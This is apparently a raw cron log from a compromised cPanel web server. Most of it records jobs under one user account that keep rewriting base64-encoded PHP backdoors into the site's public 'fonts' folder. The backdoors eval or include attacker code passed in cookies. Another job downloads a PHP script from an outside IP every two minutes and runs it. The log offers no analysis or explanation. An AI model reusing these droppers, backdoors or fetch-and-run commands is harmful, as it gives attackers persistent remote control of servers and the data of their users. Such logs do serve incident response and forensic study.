Sep  1 16:28:01 ip-184-168-122-23 CROND[21972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:28:01 ip-184-168-122-23 CROND[21974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:28:01 ip-184-168-122-23 CROND[21976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:28:01 ip-184-168-122-23 CROND[21978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:29:01 ip-184-168-122-23 CROND[22073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:29:01 ip-184-168-122-23 CROND[22075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:29:01 ip-184-168-122-23 CROND[22076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:29:01 ip-184-168-122-23 CROND[22077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:30:01 ip-184-168-122-23 CROND[22162]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 16:30:01 ip-184-168-122-23 CROND[22161]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  1 16:30:01 ip-184-168-122-23 CROND[22163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:30:01 ip-184-168-122-23 CROND[22166]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:30:01 ip-184-168-122-23 CROND[22172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:30:01 ip-184-168-122-23 CROND[22171]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:30:01 ip-184-168-122-23 CROND[22175]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:30:01 ip-184-168-122-23 CROND[22173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:30:01 ip-184-168-122-23 CROND[22170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:31:01 ip-184-168-122-23 CROND[22332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:31:01 ip-184-168-122-23 CROND[22334]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 16:31:01 ip-184-168-122-23 CROND[22333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:31:01 ip-184-168-122-23 CROND[22335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:31:01 ip-184-168-122-23 CROND[22337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:32:01 ip-184-168-122-23 CROND[22413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:32:01 ip-184-168-122-23 CROND[22415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:32:01 ip-184-168-122-23 CROND[22417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:32:01 ip-184-168-122-23 CROND[22418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:32:01 ip-184-168-122-23 CROND[22419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:33:01 ip-184-168-122-23 CROND[22584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:33:01 ip-184-168-122-23 CROND[22585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:33:01 ip-184-168-122-23 CROND[22587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:33:01 ip-184-168-122-23 CROND[22586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:34:01 ip-184-168-122-23 CROND[22673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:34:01 ip-184-168-122-23 CROND[22671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:34:01 ip-184-168-122-23 CROND[22672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:34:01 ip-184-168-122-23 CROND[22675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:34:01 ip-184-168-122-23 CROND[22674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:35:01 ip-184-168-122-23 CROND[22782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:35:01 ip-184-168-122-23 CROND[22784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:35:01 ip-184-168-122-23 CROND[22787]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 16:35:01 ip-184-168-122-23 CROND[22788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:35:01 ip-184-168-122-23 CROND[22791]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 16:35:01 ip-184-168-122-23 CROND[22793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:35:01 ip-184-168-122-23 CROND[22794]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:35:01 ip-184-168-122-23 CROND[22792]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:36:01 ip-184-168-122-23 CROND[22898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:36:01 ip-184-168-122-23 CROND[22901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:36:01 ip-184-168-122-23 CROND[22899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:36:01 ip-184-168-122-23 CROND[22903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:36:01 ip-184-168-122-23 CROND[22900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:37:01 ip-184-168-122-23 CROND[23007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:37:01 ip-184-168-122-23 CROND[23009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:37:01 ip-184-168-122-23 CROND[23010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:37:01 ip-184-168-122-23 CROND[23012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:38:01 ip-184-168-122-23 CROND[23133]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:38:01 ip-184-168-122-23 CROND[23134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:38:01 ip-184-168-122-23 CROND[23139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:38:01 ip-184-168-122-23 CROND[23137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:38:01 ip-184-168-122-23 CROND[23138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:39:01 ip-184-168-122-23 CROND[23318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:39:01 ip-184-168-122-23 CROND[23319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:39:01 ip-184-168-122-23 CROND[23321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:39:01 ip-184-168-122-23 CROND[23326]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 16:39:01 ip-184-168-122-23 CROND[23327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:40:01 ip-184-168-122-23 CROND[23429]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:40:01 ip-184-168-122-23 CROND[23432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:40:01 ip-184-168-122-23 CROND[23433]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:40:01 ip-184-168-122-23 CROND[23434]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
